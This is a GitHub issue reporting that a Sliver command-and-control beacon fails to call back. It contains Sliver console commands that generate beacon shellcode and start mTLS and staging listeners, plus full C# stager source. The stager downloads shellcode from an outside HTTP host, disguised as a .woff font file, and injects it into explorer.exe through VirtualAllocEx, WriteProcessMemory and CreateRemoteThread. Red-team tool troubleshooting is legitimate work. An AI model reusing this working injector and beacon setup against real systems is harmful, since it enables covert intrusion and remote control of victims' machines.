Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unable to Obtain Beacon from Sliver Shellcode #1439

Open
djackreuter opened this issue Oct 24, 2023 · 0 comments
Open

Unable to Obtain Beacon from Sliver Shellcode #1439

djackreuter opened this issue Oct 24, 2023 · 0 comments
Assignees

Comments

@djackreuter
Copy link

Describe the bug
Unable to get a beacon back when injecting sliver shellcode from a custom stager.

To Reproduce
Steps to reproduce the behavior:

[server] sliver > profiles new beacon --mtls 192.168.1.4:443 --format shellcode --disable-sgn --debug my_profile

[*] Saved new implant profile (beacon) my_profile

[server] sliver > mtls --lport 443

[*] Starting mTLS listener ...

[*] Successfully started job #1

[server] sliver > stage-listener --url http://0.0.0.0:80 --profile my_profile

[*] No builds found for profile my_profile, generating a new one
[*] Sliver name for profile my_profile: FAIR_STOREY
[*] Job 2 (http) started

[server] sliver > jobs

 ID   Name   Protocol   Port   Stage Profile
==== ====== ========== ====== =======================================
 1   mtls   tcp        443
 2   http   tcp        80     my_profile (Sliver name: FAIR_STOREY)

I have tested from two known working shellcode remote process injectors. One written in C# and one in Rust, and the behavior is the same. The shellcode is retrieved and injected without issue, but the remote process (explorer.exe) crashes and no beacon is received.

C# stager used:

 public static int Main() {
        System.Net.WebClient wc = new System.Net.WebClient();

        byte[] resp = wc.DownloadData("http://192.168.1.4/test.woff");

        int pid = Process.GetProcessesByName("explorer")[0].Id;

        Console.WriteLine($"PID: {pid}");

        IntPtr hProc = OpenProcess(0x001F0FFF, false, (uint)pid);

        int scLen = resp.Length;
        Console.WriteLine($"Shellcode Len: {scLen}");

        IntPtr addr = VirtualAllocEx(hProc, IntPtr.Zero, (uint)scLen, 0x00001000 | 0x00002000, 0x04);
        Console.WriteLine($"Allocated memory at: {"0x" + addr.ToString("x")}");

        IntPtr bw = IntPtr.Zero;
        WriteProcessMemory(hProc, addr, resp, scLen, out bw);
        Console.WriteLine($"Bytes Written into memory: {bw}");

        uint op = 0;
        VirtualProtectEx(hProc, addr, (UIntPtr)scLen, 0x20, out op);

        Console.WriteLine("Executing");
        IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

        if (hThread != IntPtr.Zero)
        {
            Console.WriteLine("Create remote thread OK");
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        return 1;
    } 

I have also tried injecting into a variety of different processes with no success.

Expected behavior
I expect the beacon to spawn.

Screenshots
The shellcode is successfully being retrieved from the stager.
sliver_troubleshoot

Executing the C# stager:
image

Desktop (please complete the following information):

  • OS: Ubuntu 22.04
  • Version: v1.5.41

Additional context
I have also tried generating full beacon shellcode to download and inject from my stager and had the same results.
generate beacon --mtls 192.168.1.4:443 --disable-sgn --format shellcode --save /root/

@rkervella rkervella self-assigned this Dec 19, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants